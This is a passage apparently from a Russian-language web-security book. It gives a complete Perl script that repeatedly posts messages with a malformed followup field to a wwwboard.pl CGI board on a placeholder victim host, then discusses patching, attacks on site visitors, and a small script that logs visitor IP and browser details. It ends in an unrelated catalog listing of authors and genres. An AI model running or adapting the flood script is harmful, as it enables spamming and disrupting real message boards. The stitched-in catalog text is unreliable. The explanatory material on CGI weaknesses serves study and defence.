#!/usr/bin/perl
use Socket;
$port=80;
$remote="www.victim.com";
$path="/cgi-bin/wwwboard.pl";
$name="Some name";
$email="my@mail";
$subject="great page!";
$body="Nice page, guys!";
$followup="2,2,2,2,2,2,2,2,2,2,2,2,2,2";
$timestopost=10;
$forminfo = "name=$name&email=$email&followup=$followup&subject=$subject&body=$body";
$forminfo =~ s/\,/\%2C/g;
$forminfo =~ tr/ /+/;
$length = length($forminfo);
$submit = "POST $path HTTP/1.0\r\nReferer: $url\r\n".
"User Agent: Mozilla/4.07 (Win95; I)\r\n".
"Content-type: application/x-www-form-urlencoded\r\n".
"Content-length: $length\r\n\r\n$forminfo\r\n";
for($i=1; $i <= $timestopost; $i++)
{
&post_message;
print "$i message(s) posted.\n";
}
sub post_message
{
$iaddr = inet_aton($remote) || die("Failed to find host: $remote");
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname("tcp");
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket: $!");
connect(SOCK, $paddr) || die("Unable to connect: $!");
send(SOCK,$submit,0);
close(SOCK);
}Единственный способ реально «залатать» скрипт – вставить проверку повторяющихся номеров сообщений в followup, но и это не решит проблему окончательно.
Использование серверных приложений для атаки на клиента
Ситуация, когда Web-мастер сознательно занимается атакой своих посетителей, является патологической. Гораздо чаще используются ошибки cgi-скриптов для атаки других посетителей (или для создания им серьезных неудобств).
Безопасность личной информации
В то время как IP-адрес сервера должен быть доступен всем клиентам, желающим воспользоваться его услугами, клиент вовсе не обязан афишировать везде свой адрес. И для того, чтобы начать на него атаку, нужно каким-то образом определить его адрес. В разделе «Атака на клиента» мы уже описывали некоторые клиентские приложения, существенно облегчающие задачу злоумышленникам, однако даже пользователь, не имеющий на своей машине ничего, кроме браузера, довольно уязвим.
Ваш любимый браузер при заходе на любую страницу сообщает о себе весьма много информации.
На простом примере покажем скрипт на Perl, выводящий основную информацию о посетителе страницы:#!/usr/bin/perl
print ("Content-type: text/html\n\n");
@ee=(
"CHARSET", #кодировка
"HTTP_USER_AGENT", #тип браузера
"HTTP_REFERER", #страница, с которой вызван скрипт
"REMOTE_ADDR", #адрес клиента
"REMOTE_HOST", #хост клиента
"HTTP_X_FORWARDED_FOR" #адрес клиента, возвращаемый
# proxy-сервером
);
foreach $e(@ee)
{
print "$e: $ENV{$e}
\n";
Вильям Л Саймон , Вильям Саймон , Наталья Владимировна Макеева , Нора Робертс , Юрий Викторович Щербатых
Зарубежная компьютерная, околокомпьютерная литература / ОС и Сети, интернет / Короткие любовные романы / Психология / Прочая справочная литература / Образование и наука / Книги по IT / Словари и Энциклопедии